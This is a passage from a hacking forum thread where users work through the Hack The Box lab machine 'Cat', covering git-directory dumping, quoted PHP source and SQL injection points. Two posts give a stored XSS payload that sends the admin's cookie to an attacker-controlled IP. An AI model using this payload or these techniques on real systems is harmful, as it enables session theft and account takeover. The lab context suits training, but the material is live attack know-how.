Cat Hack the Box Season 7 (Linux medium)
by RedBlock - Saturday February 1, 2025 at 02:47 PM
#11
(Feb 01, 2025, 07:23 PM)0xdaniii Wrote:
(Feb 01, 2025, 07:20 PM)oahofat Wrote: cat admin.php
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}



how you got this

git dump

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#12
(Feb 01, 2025, 07:23 PM)0xdaniii Wrote: [quote="oahofat" pid='1051104' dateline='1738437653']
cat admin.php
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}





how you got this
[/quote 

Git dumper on the webpage
http://cat.htb/.git
Reply
#13
All cat submissions get passed to the admin for verification, so we might have too steal his cookie, but there’s also sql injection in accept_cat.php
Reply
#14
(Feb 01, 2025, 07:40 PM)greg_heffley Wrote: All cat submissions get passed to the admin for verification, so we might have too steal his cookie, but there’s also sql injection in accept_cat.php

yeah i know but still i can't able to bypass the verification
Reply
#15
Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

bypass can be done by sqlinj
Reply
#16
(Feb 01, 2025, 08:06 PM)cavour13 Wrote: Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

bypass can be done by sqlinj

Yeah i guess that how we can get axel cookie. But all inputs are protected with some forbidden_patterns
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
Trying to do some SQLi there in the contest.php

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.
Reply
#17
(Feb 01, 2025, 08:06 PM)cavour13 Wrote: Guys i saw also

commit-meta.txt
2:author Axel <axel2017@gmail.com> 1725146774 +0000
3:committer Axel <axel2017@gmail.com> 1725146774 +0000

but seems to be xss .. don't know why ..

bypass can be done by sqlinj

where is the SQLi? Is it inside of contest.php ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply
#18
maybe an SQLi? cuz u can notice this part in content.php:

PHP Code:
$forbidden_patterns "/[+*{}',;<>()\\[\\]\\/\\:]/"
Reply
#19
<script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data
Reply
#20
(Feb 01, 2025, 08:35 PM)Test09 Wrote: <script>document.location='<http://10.10.x.x/?c='+document.cookie;</script> Xss in your username, you need to send request in the contest with random data

I registered user with the name
<script>document.location='http://10.10.14.14/?c='+document.cookie;</script>
and common password
and then was able to login as this user and contest valid cat.

so if no callback hence something wrong with the instance, or I missed some step?
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 4 472 2 hours ago
Last Post: Reminiscing
  [FREE] HackTheBox Dante - complete writeup written by Tamarisk Tamarisk 602 92,110 Yesterday, 06:48 PM
Last Post: sabero_exe
  [FREE] CPTS 12 FLAGS pulsebreaker 68 2,012 Yesterday, 09:54 AM
Last Post: VictorPipeau
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 371 93,068 Yesterday, 08:48 AM
Last Post: phannguyenbaouy1
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 21 2,647 Yesterday, 05:08 AM
Last Post: popoler

Forum Jump:


 Users browsing this forum: 1 Guest(s)